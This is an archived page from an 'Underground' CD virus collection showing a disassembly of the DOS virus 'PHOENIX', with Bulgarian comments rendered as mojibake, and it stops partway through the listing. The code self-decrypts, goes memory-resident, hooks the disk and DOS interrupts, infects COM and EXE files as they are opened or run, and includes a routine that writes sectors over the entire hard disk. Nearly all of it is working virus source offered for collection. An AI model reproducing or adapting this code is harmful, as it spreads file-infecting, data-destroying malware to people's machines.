home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / phoenix.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  70.3 KB  |  1,052 lines

  1. Sourcer Listing v2.11      (GEMICHA)       !-!-!-  PHOENIX  -!-!-!
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. ---------------------------------------------------------------------------------------------------------------
  10.  
  11.  
  12.  
  13. 0000  95                                   xchg    ax,bp        ; ºá»áºóá¡Ñ ¡á AX
  14.  
  15. 0001  BE 0100                              mov     si,100h      ; ¡á╖Ὣ▓« ¡á ºá░áºÑ¡¿┐ ┤á⌐½
  16.  
  17. 0004  46                                   inc     si           ; SI=101
  18.  
  19. 0005  03 34                                add     si,[si]      ; SI= ¡á╖Ὣ▓« ¡á ó¿░│▒á
  20.  
  21. 0007  8B DE                                mov     bx,si        ; ºá»áºóá¡Ñ ó BX ¡á╖Ὣ▓« ¡á ó¿░│▒á
  22.  
  23. 0009  33 C9                                xor     cx,cx        ; CX= 0
  24.  
  25. 000B  B8 0342                              mov     ax,342h      ; ú«½Ñ¼¿¡á▓á ¡á ó¿░│▒á -20h
  26.  
  27.  
  28.  
  29. 000E  50                                   push    ax           ; AX -> Stack
  30.  
  31.  
  32.  
  33. 000F  33 4C 22                             xor     cx,[si+22h]  ;\
  34.  
  35. 0012  46                                   inc     si           ;  \
  36.  
  37. 0013  46                                   inc     si           ;    ¡á¼¿░á¡Ñ ¡á ¬«¡▓░«½¡á▓á
  38.  
  39. 0014  48                                   dec     ax           ;    ▒│¼á ¡á ó¿░│▒á CRC
  40.  
  41. 0015                       data_2          db      7Dh          ;  /
  42.  
  43. 0015  7D F8                                jge     000Fh        ;/
  44.  
  45.  
  46.  
  47. 0017  5A                                   pop     dx           ; Stack -> DX
  48.  
  49.  
  50.  
  51. 0018  31 4F 22                             xor     [bx+22h],cx  ;\
  52.  
  53. 001B  43                                   inc     bx           ;  \
  54.  
  55. 001C  43                                   inc     bx           ;    ░Ậ«ñ¿░á╣á
  56.  
  57. 001D  4A                                   dec     dx           ;    ╖á▒▓
  58.  
  59. 001E                       data_3          db      7Dh          ;  /
  60.  
  61. 001E  7D F8                                jge     0018h        ;/
  62.  
  63.  
  64.  
  65. 0020  87 F6                                xchg    si,si        ;
  66.  
  67. 0022  87 D1                                xchg    dx,cx        ; dx= CRC  cx= 0
  68.  
  69. 0024  FA                                   cli                  ; ºáí░á¡á ºá »░Ѭ║▒óá¡Ñ
  70.  
  71. 0025  81 C6 F97C                           add     si,0F97Ch    ; SI= ¡á╖Ὣ▓« ¡á ó¿░│▒á
  72.  
  73. 0029  FC                                   cld                  ; Clear direction
  74.  
  75. 002A  8B DC                                mov     bx,sp        ; BX= stack offset
  76.  
  77. 002C  B1 04                                mov     cl,4
  78.  
  79. 002E  D3 EB                                shr     bx,cl        ; BX= BX * 16d +1
  80.  
  81. 0030  43                                   inc     bx           ; /
  82.  
  83. 0031  8C D0                                mov     ax,ss        ; AX= stack seg
  84.  
  85. 0033  03 D8                                add     bx,ax        ; BX= org addr stack
  86.  
  87.  
  88.  
  89. 0035  BF 0004                              mov     di,4         ;
  90.  
  91. 0038  8B 45 FE                             mov     ax,[di-2]    ; AX= seg last paragraph
  92.  
  93. 003B  1E                                   push    ds           ; DS -> Stack
  94.  
  95. 003C  8E DF                                mov     ds,di        ; DS= 0004h
  96.  
  97. 003E  3B 45 66                             cmp     ax,[di+66h]  ; ▒«╖¿ ½¿ INT 2A ó »«▒½Ññ¡¿┐ »á░áú░á┤ ?
  98.  
  99. 0041  74 16                                je      loc_3        ; ???
  100.  
  101. 0043  80 EC 02                             sub     ah,2         ; AX= AX- 512d
  102.  
  103. 0046  3B D8                                cmp     bx,ax        ; ¿¼á ½¿ »░Ñ»«¬░¿óá¡Ñ ¡á stack ▒ last par.
  104.  
  105. 0048  73 59                                jae     loc_6        ; Jump if above or =
  106.  
  107. 004A  4F                                   dec     di           ;
  108.  
  109. 004B  4F                                   dec     di           ; - di= 2
  110.  
  111. 004C  AB                                   stosw                ; ax to es:[di] ºá»¿▒óá ó PSP ¡á ▒Ñú¼Ñ¡▓á
  112.  
  113. 004D  8C C3                                mov     bx,es        ; \
  114.  
  115. 004F  4B                                   dec     bx           ;   ES= ES-1 ▒«╖¿ ¡á╖Ὣ▓« ¡á ▓Ѭ│╣¿┐ í½«¬
  116.  
  117. 0050  8E C3                                mov     es,bx        ; /
  118.  
  119. 0052  26: 80 2D 02                         sub     byte ptr es:[di],2 ;  ¡á¼á½┐óá í½«¬á ▒ 521d bytes
  120.  
  121. 0056  89 45 66                             mov     [di+66h],ax  ; »░«¼┐¡á ¡á seg ºá INT 2A
  122.  
  123. 0059                       loc_3:
  124.  
  125. 0059  C7 45 64 0526                        mov     word ptr [di+64h],526h ; »░«¼┐¡á ¡á off ºá INT 2A
  126.  
  127. 005E  4A                                   dec     dx           ; ¡á¼á½┐ CRC ▒ 1
  128.  
  129. 005F  52                                   push    dx           ; ºá»¿▒óá ▒Ñ ó ▒▓Ѭá
  130.  
  131. 0060  50                                   push    ax           ; ºá»¿▒ ¡á »░ạ¿┐ ▒Ñú¼Ñ¡▓
  132.  
  133. 0061  C4 5D 08                             les     bx,dword ptr [di+8]    ; ES:BX = [ INT 13 ]
  134.  
  135. 0064  B4 13                                mov     ah,13h       ; \
  136.  
  137. 0066  CD 2F                                int     2Fh          ;
  138.  
  139. 0068  06                                   push    es           ; ºá»áºóá¡Ñ ¡á
  140.  
  141. 0069  53                                   push    bx           ; «░¿ú¿¡á½¡¿┐
  142.  
  143. 006A  B4 13                                mov     ah,13h       ;   INT 13
  144.  
  145. 006C  CD 2F                                int     2Fh          ; /
  146.  
  147. 006E  8C C2                                mov     dx,es        ; DX= ▓Ѭ│╣¿┐ 13
  148.  
  149. 0070  5B                                   pop     bx           ; \
  150.  
  151. 0071  07                                   pop     es           ; ES:BX [org INT 13]
  152.  
  153. 0072  8C C0                                mov     ax,es
  154.  
  155. 0074  3B C2                                cmp     ax,dx        ; ▓Ѭ│╣¿┐ «░¿ú¿¡á½Ñ¡?
  156.  
  157. 0076  1F                                   pop     ds           ; DS= »░áºÑ¡ ▒Ñú¼Ñ¡▓
  158.  
  159. 0077  9C                                   pushf                ; Push flags
  160.  
  161. 0078  06                                   push    es           ;\
  162.  
  163. 0079  53                                   push    bx           ; ºá»áºóá¡Ñ ¡á [org INT 13]
  164.  
  165. 007A  1E                                   push    ds           ; ºá»áºóá¡Ñ ¡á »░ạ¿┐ ▒Ñú¼Ñ¡▓
  166.  
  167. 007B  74 0D                                jz      loc_4        ; ▓Ѭ│╣¿┐ INT 13 org
  168.  
  169. 007D  8C DA                                mov     dx,ds
  170.  
  171. 007F  3B C2                                cmp     ax,dx
  172.  
  173. 0081  72 5E                                jb      loc_7        ; Jump if below
  174.  
  175. 0083  BA 059A                              mov     dx,59Ah
  176.  
  177. 0086  B4 13                                mov     ah,13h
  178.  
  179. 0088  CD 2F                                int     2Fh
  180.  
  181. 008A                       loc_4:
  182.  
  183. 008A  07                                   pop     es           ; »░ạ¿┐ ▒Ñú¼Ñ¡▓
  184.  
  185. 008B  33 FF                                xor     di,di        ; DI= 0
  186.  
  187. 008D  56                                   push    si           ; ó¿░│▒á ¡á╖Ὣ -> Stack
  188.  
  189. 008E  B9 0355                              mov     cx,355h      ; 853d
  190.  
  191. 0091  F3/ 2E: A5                           rep     movs word ptr es:[di],word ptr cs:[si]
  192.  
  193.                                                         ;»░Ñ╡ó║░½┐¡Ñ ¡á 853d íá⌐▓á «▓ ó¿░│▒á ¡á╖Ὣ▓«?
  194.  
  195. 0094  5E                                   pop     si           ; Stack -> ó¿░│▒á ¡á╖Ὣ
  196.  
  197. 0095  B0 EA                                mov     al,0EAh
  198.  
  199. 0097  AA                                   stosb                ; ºá»¿▒óá jmp ó es:[di]
  200.  
  201. 0098  B1 04                                mov     cl,4
  202.  
  203.  
  204.  
  205. 009A                       locloop_5:
  206.  
  207. 009A  58                                   pop     ax
  208.  
  209. 009B  AB                                   stosw                           ; Store ax to es:[di]
  210.  
  211. 009C  E2 FC                                loop    locloop_5               ; Loop if cx > 0
  212.  
  213.  
  214.  
  215. 009E  B8 FE00                              mov     ax,0FE00h
  216.  
  217. 00A1  AA                                   stosb                           ; Store al to es:[di]
  218.  
  219. 00A2  AB                                   stosw                           ; Store ax to es:[di]
  220.  
  221. 00A3                       loc_6:
  222.  
  223. 00A3  07                                   pop     es
  224.  
  225. 00A4  FB                                   sti                             ; Enable interrupts
  226.  
  227. 00A5  0E                                   push    cs
  228.  
  229. 00A6  1F                                   pop     ds
  230.  
  231. 00A7  BF 00FE                              mov     di,0FEh
  232.  
  233. 00AA  57                                   push    di
  234.  
  235. 00AB  56                                   push    si
  236.  
  237. 00AC  81 C6 00C8                           add     si,0C8h
  238.  
  239. 00B0  A5                                   movsw                           ; Mov [si] to es:[di]
  240.  
  241. 00B1  A5                                   movsw                           ; Mov [si] to es:[di]
  242.  
  243. 00B2  A4                                   movsb                           ; Mov [si] to es:[di]
  244.  
  245. 00B3  5F                                   pop     di
  246.  
  247. 00B4  AD                                   lodsw                           ; String [si] to ax
  248.  
  249. 00B5  FE C4                                inc     ah
  250.  
  251. 00B7  96                                   xchg    ax,si
  252.  
  253. 00B8  95                                   xchg    ax,bp
  254.  
  255. 00B9  B9 0354                              mov     cx,354h
  256.  
  257. 00BC  C3                                   retn
  258.  
  259.  
  260.  
  261. 00BD                                       db      'PHOENIX',0
  262.  
  263.  
  264.  
  265. 00C5  01 4C D0                             add     [si-30],cx
  266.  
  267. 00C8  F3                                   repz
  268.  
  269. 00C9  A5                                   movsw                           ; Mov [si] to es:[di]
  270.  
  271. 00CA                       data_5          dw      34BCh
  272.  
  273. 00CA  4D                                   dec     bp
  274.  
  275. 00CB  5A                                   pop     dx
  276.  
  277. 00CC  BA 47 08                             mov     dx,0847
  278.  
  279. 00CF  E9 0F85                              jmp     18EBh
  280.  
  281. 00D2  BF 004C                              mov     di,4Ch
  282.  
  283. 00D5  8B 5D B6                             mov     bx,[di-4Ah]
  284.  
  285. 00D8  33 D2                                xor     dx,dx                   ; Zero register
  286.  
  287. 00DA  8E DA                                mov     ds,dx
  288.  
  289. 00DC  3B 5D 5E                             cmp     bx,[di+5Eh]
  290.  
  291. 00DF  74 52                                je      loc_11                  ; Jump if equal
  292.  
  293. 00E1                       loc_7:
  294.  
  295. 00E1  B2 80                                mov     dl,80h
  296.  
  297. 00E3  B4 08                                mov     ah,8
  298.  
  299. 00E5  CD 13                                int     13h                     ; Disk  dl=drive #: ah=func a8h
  300.  
  301.                                                                                 ;  read parameters for drive dl
  302.  
  303. 00E7  72 4A                                jc      loc_11                  ; Jump if carry Set
  304.  
  305. 00E9  52                                   push    dx
  306.  
  307. 00EA  B4 13                                mov     ah,13h
  308.  
  309. 00EC  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 00h
  310.  
  311.                                                                                 ;  get installed status
  312.  
  313. 00EE  FC                                   cld                             ; Clear direction
  314.  
  315. 00EF  06                                   push    es
  316.  
  317. 00F0  33 C0                                xor     ax,ax                   ; Zero register
  318.  
  319. 00F2  8E C0                                mov     es,ax
  320.  
  321. 00F4  E6 61                                out     61h,al                  ; port 61h, 8255 B - spkr, etc
  322.  
  323.                                                                                 ;  al = 0, disable parity
  324.  
  325. 00F6  93                                   xchg    ax,bx
  326.  
  327. 00F7  AB                                   stosw                           ; Store ax to es:[di]
  328.  
  329. 00F8  58                                   pop     ax
  330.  
  331. 00F9  AB                                   stosw                           ; Store ax to es:[di]
  332.  
  333. 00FA  8B C1                                mov     ax,cx
  334.  
  335. 00FC  8A E9                                mov     ch,cl
  336.  
  337. 00FE  B1 06                                mov     cl,6
  338.  
  339. 0100  D2 ED                                shr     ch,cl                   ; Shift w/zeros fill
  340.  
  341. 0102  8A CC                                mov     cl,ah
  342.  
  343. 0104  24 3F                                and     al,3Fh                  ; '?'
  344.  
  345. 0106  8B F1                                mov     si,cx
  346.  
  347. 0108  5F                                   pop     di
  348.  
  349. 0109  B2 80                                mov     dl,80h
  350.  
  351. 010B                       loc_8:
  352.  
  353. 010B  33 C9                                xor     cx,cx                   ; Zero register
  354.  
  355. 010D                       loc_9:
  356.  
  357. 010D  32 F6                                xor     dh,dh                   ; Zero register
  358.  
  359. 010F  51                                   push    cx
  360.  
  361. 0110  86 CD                                xchg    cl,ch
  362.  
  363. 0112  D0 C9                                ror     cl,1                    ; Rotate
  364.  
  365. 0114  D0 C9                                ror     cl,1                    ; Rotate
  366.  
  367. 0116  41                                   inc     cx
  368.  
  369. 0117                       loc_10:
  370.  
  371. 0117  50                                   push    ax
  372.  
  373. 0118  B4 03                                mov     ah,3
  374.  
  375. 011A  CD 13                                int     13h                     ; Disk  dl=drive #: ah=func a3h
  376.  
  377.                                                                                 ;  write sectors from mem es:bx
  378.  
  379. 011C  FE C6                                inc     dh
  380.  
  381. 011E  8B C7                                mov     ax,di
  382.  
  383. 0120  3A F4                                cmp     dh,ah
  384.  
  385. 0122  58                                   pop     ax
  386.  
  387. 0123  76 F2                                jbe     loc_10                  ; Jump if below or =
  388.  
  389. 0125  59                                   pop     cx
  390.  
  391. 0126  41                                   inc     cx
  392.  
  393. 0127  3B CE                                cmp     cx,si
  394.  
  395. 0129  76 E2                                jbe     loc_9                   ; Jump if below or =
  396.  
  397. 012B  42                                   inc     dx
  398.  
  399. 012C  4F                                   dec     di
  400.  
  401. 012D  F7 C7 00FF                           test    di,0FFh
  402.  
  403. 0131  75 D8                                jnz     loc_8                   ; Jump if not zero
  404.  
  405. 0133                       loc_11:
  406.  
  407. 0133  8C C2                                mov     dx,es
  408.  
  409. 0135  83 C2 10                             add     dx,10h
  410.  
  411. 0138  E8 0008                              call    sub_1
  412.  
  413. 013B  00 00                data_9          db      0, 0
  414.  
  415. 013D  0000                 data_10         dw      0
  416.  
  417. 013F  0000                 data_11         dw      0
  418.  
  419. 0141  0000                 data_12         dw      0
  420.  
  421.  
  422.  
  423.                                 ;==========================================================================
  424.  
  425.                                 ;                              SUBROUTINE
  426.  
  427.                                 ;==========================================================================
  428.  
  429.  
  430.  
  431.                                 sub_1           proc    near
  432.  
  433. 0143  5F                                   pop     di
  434.  
  435. 0144  0E                                   push    cs
  436.  
  437. 0145  1F                                   pop     ds
  438.  
  439. 0146  01 55 02                             add     [di+2],dx
  440.  
  441. 0149  03 55 04                             add     dx,[di+4]
  442.  
  443. 014C  8E D2                                mov     ss,dx
  444.  
  445. 014E  8B 65 06                             mov     sp,[di+6]
  446.  
  447. 0151  06                                   push    es
  448.  
  449. 0152  1F                                   pop     ds
  450.  
  451. 0153  2E: FF 2D                            jmp     dword ptr cs:[di]
  452.  
  453.  
  454.  
  455.                                 ;==========================================================================
  456.  
  457.                                 ;                              SUBROUTINE
  458.  
  459.                                 ;               INT     21
  460.  
  461.                                 ;==========================================================================
  462.  
  463.  
  464.  
  465.  
  466.  
  467. 0156  9C                                   pushf                           ; Push flags
  468.  
  469. 0157  FA                                   cli                             ; Disable interrupts
  470.  
  471. 0158  50                                   push    ax
  472.  
  473. 0159  53                                   push    bx
  474.  
  475. 015A  51                                   push    cx
  476.  
  477. 015B  52                                   push    dx
  478.  
  479. 015C  56                                   push    si
  480.  
  481. 015D  57                                   push    di
  482.  
  483. 015E  1E                                   push    ds
  484.  
  485. 015F  06                                   push    es
  486.  
  487. 0160  FC                                   cld                             ; Clear direction
  488.  
  489. 0161  0E                                   push    cs
  490.  
  491. 0162  07                                   pop     es
  492.  
  493. 0163  33 C9                                xor     cx,cx
  494.  
  495. 0165  80 FC 3E                             cmp     ah,3Eh
  496.  
  497. 0168  74 15                                je      loc_12
  498.  
  499.  
  500.  
  501. 016A  8B F2                                mov     si,dx
  502.  
  503. 016C  BF 06BA                              mov     di,6BAh                 ; ê¼Ñ ¡á ┤á⌐½á
  504.  
  505. 016F  B1 28                                mov     cl,28h                  ; îá¬▒¿¼á½¡á ú«½Ñ¼¿¡á ¡á ┤á⌐½á
  506.  
  507. 0171  F3/ A5                               rep     movsw                   ; cx >0 Mov [si] to es:[di]
  508.  
  509. 0173  93                                   xchg    ax,bx                   ; ºá»áºóá¡Ñ ¡á ┤│¡¬╢¿┐▓á
  510.  
  511. 0174  B8 3D00                              mov     ax,3D00h
  512.  
  513. 0177  CD 21                                int     21h                     ; DOS Services  ah=function 3Dh
  514.  
  515.                                                                                 ;  open file, al=mode,name@ds:dx
  516.  
  517. 0179  93                                   xchg    ax,bx                   ; ó░║╣á¡Ñ ¡«¼Ñ░á ¡á ┤│¡¬╢¿┐▓á
  518.  
  519. 017A  73 03                                jnc     loc_12                  ; Ç¬« ¡┐¼á ú░Ñ╕¬á -->
  520.  
  521. 017C  BB FFFF                              mov     bx,0FFFFh               ; Ç¬« ¡┐¼á ú░Ñ╕¬á öî = FFFF
  522.  
  523. 017F                       loc_12:
  524.  
  525. 017F  91                                   xchg    ax,cx                   ; ºá»áºóá ó CX ┤│¡¬╢¿┐▓á
  526.  
  527. 0180  8E D8                                mov     ds,ax                   ; DS= 0
  528.  
  529. 0182  BF 06A6                              mov     di,6A6h                 ; DW  INT 13
  530.  
  531. 0185  BE 004C                              mov     si,4Ch
  532.  
  533. 0188  B8 0690                              mov     ax,690h                 ; Vir  INT 13
  534.  
  535. 018B  87 04                                xchg    ax,[si]                 ; Read Int 13 ofs
  536.  
  537. 018D  AB                                   stosw                           ; Store ax to CS:[6A6]
  538.  
  539. 018E  50                                   push    ax                      ; Int13 Ofs -> Stack
  540.  
  541. 018F  8C C0                                mov     ax,es
  542.  
  543. 0191  87 44 02                             xchg    ax,[si+2]               ; Read Int 13 seg
  544.  
  545. 0194  AB                                   stosw                           ; Store ax to es:[di]
  546.  
  547. 0195  50                                   push    ax                      ; Int13 Seg -> Stack
  548.  
  549.  
  550.  
  551. 0196  B8 0597                              mov     ax,597h                 ; Vir INT 24
  552.  
  553. 0199  87 44 44                             xchg    ax,[si+44h]
  554.  
  555. 019C  50                                   push    ax                      ; INT24 Ofs -> Stack
  556.  
  557. 019D  8C C0                                mov     ax,es
  558.  
  559. 019F  87 44 46                             xchg    ax,[si+46h]
  560.  
  561. 01A2  50                                   push    ax                      ; INT24 Seg -> Stack
  562.  
  563. 01A3  1E                                   push    ds                      ; 0   -> Stack
  564.  
  565. 01A4  56                                   push    si                      ; 4C  -> Stack
  566.  
  567. 01A5  32 D2                                xor     dl,dl
  568.  
  569. 01A7  B8 3302                              mov     ax,3302h                ; DOS Services  ah=function 33h
  570.  
  571. 01AA  CD 21                                int     21h                     ;  ctrl-break flag al=off/on
  572.  
  573. 01AC  52                                   push    dx
  574.  
  575. 01AD  E8 02F3                              call    sub_2
  576.  
  577. 01B0  72 16                                jc      loc_13                  ; Jump if carry Set
  578.  
  579. 01B2  A1 046C                              mov     ax,word ptr ds:[46Ch]   ; (0000:046C=8335h)
  580.  
  581. 01B5  26: C5 75 07                         lds     si,dword ptr es:[di+7]  ; Load 32 bit ptr
  582.  
  583. 01B9  80 7C 08 02                          cmp     byte ptr [si+8],2
  584.  
  585. 01BD  06                                   push    es
  586.  
  587. 01BE  1F                                   pop     ds
  588.  
  589. 01BF  8B 75 11                             mov     si,[di+11h]
  590.  
  591. 01C2  96                                   xchg    ax,si
  592.  
  593. 01C3  BA 0403                              mov     dx,403h
  594.  
  595. 01C6  B1 80                                mov     cl,80h
  596.  
  597. 01C8                       loc_13:
  598.  
  599. 01C8  72 7C                                jc      loc_22                  ; Jump if carry Set
  600.  
  601. 01CA  2D 07A8                              sub     ax,7A8h
  602.  
  603. 01CD  87 45 15                             xchg    ax,[di+15h]
  604.  
  605. 01D0  50                                   push    ax
  606.  
  607. 01D1  72 03                                jc      loc_14                  ; Jump if carry Set
  608.  
  609. 01D3  84 75 04                             test    dh,[di+4]
  610.  
  611. 01D6                       loc_14:
  612.  
  613. 01D6  75 7E                                jnz     loc_24                  ; Jump if not zero
  614.  
  615. 01D8  80 FD 3E                             cmp     ch,3Eh                  ; '>'
  616.  
  617. 01DB  75 05                                jne     loc_15                  ; Jump if not equal
  618.  
  619. 01DD  BA 0002                              mov     dx,2
  620.  
  621. 01E0  B1 C0                                mov     cl,0C0h
  622.  
  623. 01E2                       loc_15:
  624.  
  625. 01E2  22 4D 05                             and     cl,[di+5]
  626.  
  627. 01E5  75 6F                                jnz     loc_24                  ; Jump if not zero
  628.  
  629. 01E7  2E: 89 16 06B6                       mov     word ptr cs:[6B6h],dx   ; (06B6=403h)
  630.  
  631. 01EC  83 7D 13 00                          cmp     word ptr [di+13h],0
  632.  
  633. 01F0  75 64                                jne     loc_24                  ; Jump if not equal
  634.  
  635. 01F2  8B 45 28                             mov     ax,[di+28h]
  636.  
  637. 01F5  3D 5845                              cmp     ax,5845h
  638.  
  639. 01F8  74 13                                je      loc_16                  ; Jump if equal
  640.  
  641. 01FA  3D 4F43                              cmp     ax,4F43h
  642.  
  643. 01FD  75 13                                jne     loc_17                  ; Jump if not equal
  644.  
  645. 01FF  3B 45 20                             cmp     ax,[di+20h]
  646.  
  647. 0202  B8 4D4D                              mov     ax,4D4Dh
  648.  
  649. 0205  75 06                                jnz     loc_16                  ; Jump if not zero
  650.  
  651. 0207  3B 45 22                             cmp     ax,[di+22h]
  652.  
  653. 020A  75 01                                jne     loc_16                  ; Jump if not equal
  654.  
  655. 020C  41                                   inc     cx
  656.  
  657. 020D                       loc_16:
  658.  
  659. 020D  3A 45 2A                             cmp     al,[di+2Ah]
  660.  
  661. 0210  74 05                                je      loc_18                  ; Jump if equal
  662.  
  663. 0212                       loc_17:
  664.  
  665. 0212  80 FD 4B                             cmp     ch,4Bh                  ; 'K'
  666.  
  667. 0215  75 3F                                jne     loc_24                  ; Jump if not equal
  668.  
  669. 0217                       loc_18:
  670.  
  671. 0217  51                                   push    cx
  672.  
  673. 0218  FF 75 15                             push    word ptr [di+15h]
  674.  
  675. 021B  0E                                   push    cs
  676.  
  677. 021C  1F                                   pop     ds
  678.  
  679. 021D  B9 0002                              mov     cx,2
  680.  
  681. 0220  B4 3F                                mov     ah,3Fh                  ; '?'
  682.  
  683. 0222  E8 02A5                              call    sub_6
  684.  
  685. 0225  72 13                                jc      loc_21                  ; Jump if carry Set
  686.  
  687. 0227  A1 070A                              mov     ax,word ptr ds:[70Ah]   ; (070A=0BF95h)
  688.  
  689. 022A  0A C4                                or      al,ah
  690.  
  691. 022C  75 05                                jnz     loc_19                  ; Jump if not zero
  692.  
  693. 022E  E8 0294                              call    sub_4
  694.  
  695. 0231  72 07                                jc      loc_21                  ; Jump if carry Set
  696.  
  697. 0233                       loc_19:
  698.  
  699. 0233  87 F2                                xchg    si,dx
  700.  
  701.  
  702.  
  703. 0235                       locloop_20:
  704.  
  705. 0235  AC                                   lodsb                           ; String [si] to al
  706.  
  707. 0236  84 C0                                test    al,al
  708.  
  709. 0238  E1 FB                                loopz   locloop_20              ; Loop if zf=1, cx>0
  710.  
  711. 023A                       loc_21:
  712.  
  713. 023A  58                                   pop     ax
  714.  
  715. 023B  59                                   pop     cx
  716.  
  717. 023C  06                                   push    es
  718.  
  719. 023D  1F                                   pop     ds
  720.  
  721. 023E  72 16                                jc      loc_24                  ; Jump if carry Set
  722.  
  723. 0240  75 07                                jnz     loc_23                  ; Jump if not zero
  724.  
  725. 0242  41                                   inc     cx
  726.  
  727. 0243  92                                   xchg    ax,dx
  728.  
  729. 0244  EB 5F                                jmp     short loc_29
  730.  
  731. 0246                       loc_22:
  732.  
  733. 0246  E9 0154                              jmp     loc_37
  734.  
  735. 0249                       loc_23:
  736.  
  737. 0249  84 C9                                test    cl,cl
  738.  
  739. 024B  75 09                                jnz     loc_24                  ; Jump if not zero
  740.  
  741. 024D  8A 45 12                             mov     al,[di+12h]
  742.  
  743. 0250  F6 D0                                not     al
  744.  
  745. 0252  A8 38                                test    al,38h                  ; '8'
  746.  
  747. 0254  75 3D                                jnz     loc_28                  ; Jump if not zero
  748.  
  749. 0256                       loc_24:
  750.  
  751. 0256  8F 45 15                             pop     word ptr [di+15h]
  752.  
  753. 0259  80 FD 4B                             cmp     ch,4Bh                  ; 'K'
  754.  
  755. 025C  75 E8                                jne     loc_22                  ; Jump if not equal
  756.  
  757. 025E  B4 3E                                mov     ah,3Eh                  ; '>'
  758.  
  759. 0260  CD 21                                int     21h                     ; DOS Services  ah=function 3Eh
  760.  
  761.                                                                                 ;  close file, bx=file handle
  762.  
  763. 0262  0E                                   push    cs
  764.  
  765. 0263  1F                                   pop     ds
  766.  
  767. 0264  0E                                   push    cs
  768.  
  769. 0265  07                                   pop     es
  770.  
  771. 0266  BE 06BA                              mov     si,6BAh
  772.  
  773. 0269  8B FE                                mov     di,si
  774.  
  775. 026B  B4 60                                mov     ah,60h                  ; '`'
  776.  
  777. 026D  CD 21                                int     21h                     ; DOS Services  ah=function 60h
  778.  
  779. 026F  72 1F                                jc      loc_27                  ; Jump if carry Set
  780.  
  781. 0271  84 C0                                test    al,al
  782.  
  783. 0273  75 1B                                jnz     loc_27                  ; Jump if not zero
  784.  
  785. 0275                       loc_25:
  786.  
  787. 0275  AC                                   lodsb                           ; String [si] to al
  788.  
  789. 0276  3C 5C                                cmp     al,5Ch                  ; '\'
  790.  
  791. 0278  75 02                                jne     loc_26                  ; Jump if not equal
  792.  
  793. 027A  8B FE                                mov     di,si
  794.  
  795. 027C                       loc_26:
  796.  
  797. 027C  84 C0                                test    al,al
  798.  
  799. 027E  75 F5                                jnz     loc_25                  ; Jump if not zero
  800.  
  801. 0280  57                                   push    di
  802.  
  803. 0281  B8 2E2A                              mov     ax,2E2Ah
  804.  
  805. 0284  AB                                   stosw                           ; Store ax to es:[di]
  806.  
  807. 0285  A1 01F6                              mov     ax,word ptr ds:[1F6h]   ; (01F6=5845h)
  808.  
  809. 0288  AB                                   stosw                           ; Store ax to es:[di]
  810.  
  811. 0289  32 E4                                xor     ah,ah                   ; Zero register
  812.  
  813. 028B  AB                                   stosw                           ; Store ax to es:[di]
  814.  
  815. 028C  5F                                   pop     di
  816.  
  817. 028D  E9 0132                              jmp     loc_39
  818.  
  819. 0290                       loc_27:
  820.  
  821. 0290  E9 010E                              jmp     loc_38
  822.  
  823. 0293                       loc_28:
  824.  
  825. 0293  33 C0                                xor     ax,ax                   ; Zero register
  826.  
  827. 0295  92                                   xchg    ax,dx
  828.  
  829. 0296  86 C4                                xchg    al,ah
  830.  
  831. 0298  50                                   push    ax
  832.  
  833. 0299  8B 75 11                             mov     si,[di+11h]
  834.  
  835. 029C  83 EE 03                             sub     si,3
  836.  
  837. 029F  F7 F6                                div     si                      ; ax,dx rem=dx:ax/reg
  838.  
  839. 02A1  83 C2 03                             add     dx,3
  840.  
  841. 02A4  58                                   pop     ax
  842.  
  843. 02A5                       loc_29:
  844.  
  845. 02A5  FF 75 05                             push    word ptr [di+5]
  846.  
  847. 02A8  51                                   push    cx
  848.  
  849. 02A9  52                                   push    dx
  850.  
  851. 02AA  53                                   push    bx
  852.  
  853. 02AB  33 D2                                xor     dx,dx                   ; Zero register
  854.  
  855. 02AD  89 55 15                             mov     [di+15h],dx
  856.  
  857. 02B0  0E                                   push    cs
  858.  
  859. 02B1  1F                                   pop     ds
  860.  
  861. 02B2  B9 0090                              mov     cx,90h
  862.  
  863. 02B5  F7 F1                                div     cx                      ; ax,dx rem=dx:ax/reg
  864.  
  865. 02B7  E8 0236                              call    sub_9
  866.  
  867. 02BA  A2 0015                              mov     data_2,al               ; (0015=7Dh)
  868.  
  869. 02BD  E8 0230                              call    sub_9
  870.  
  871. 02C0  A2 001E                              mov     data_3,al               ; (001E=7Dh)
  872.  
  873. 02C3  92                                   xchg    ax,dx
  874.  
  875. 02C4  B2 06                                mov     dl,6
  876.  
  877. 02C6  F6 F2                                div     dl                      ; al, ah rem = ax/reg
  878.  
  879. 02C8  BE 070A                              mov     si,70Ah
  880.  
  881. 02CB  BB 051D                              mov     bx,51Dh
  882.  
  883. 02CE  E8 0201                              call    sub_8
  884.  
  885. 02D1  88 04                                mov     [si],al
  886.  
  887. 02D3  46                                   inc     si
  888.  
  889. 02D4  BB 0520                              mov     bx,520h
  890.  
  891. 02D7  E8 01F6                              call    sub_7
  892.  
  893. 02DA  BB 0523                              mov     bx,523h
  894.  
  895. 02DD  E8 01F0                              call    sub_7
  896.  
  897. 02E0  BB 0709                              mov     bx,709h
  898.  
  899. 02E3  BE 04F9                              mov     si,4F9h
  900.  
  901. 02E6  B9 0024                              mov     cx,24h
  902.  
  903.  
  904.  
  905. 02E9                       locloop_30:
  906.  
  907. 02E9  AC                                   lodsb                           ; String [si] to al
  908.  
  909. 02EA  84 C0                                test    al,al
  910.  
  911. 02EC  74 1F                                jz      loc_32                  ; Jump if zero
  912.  
  913. 02EE  50                                   push    ax
  914.  
  915. 02EF  24 07                                and     al,7
  916.  
  917. 02F1  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  918.  
  919. 02F2  B4 F8                                mov     ah,0F8h
  920.  
  921. 02F4  92                                   xchg    ax,dx
  922.  
  923. 02F5  58                                   pop     ax
  924.  
  925. 02F6  51                                   push    cx
  926.  
  927. 02F7  B1 03                                mov     cl,3
  928.  
  929. 02F9  D2 E8                                shr     al,cl                   ; Shift w/zeros fill
  930.  
  931. 02FB  74 07                                jz      loc_31                  ; Jump if zero
  932.  
  933. 02FD  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  934.  
  935. 02FE  D2 E0                                shl     al,cl                   ; Shift w/zeros fill
  936.  
  937. 0300  0A D0                                or      dl,al
  938.  
  939. 0302  B6 C0                                mov     dh,0C0h
  940.  
  941. 0304                       loc_31:
  942.  
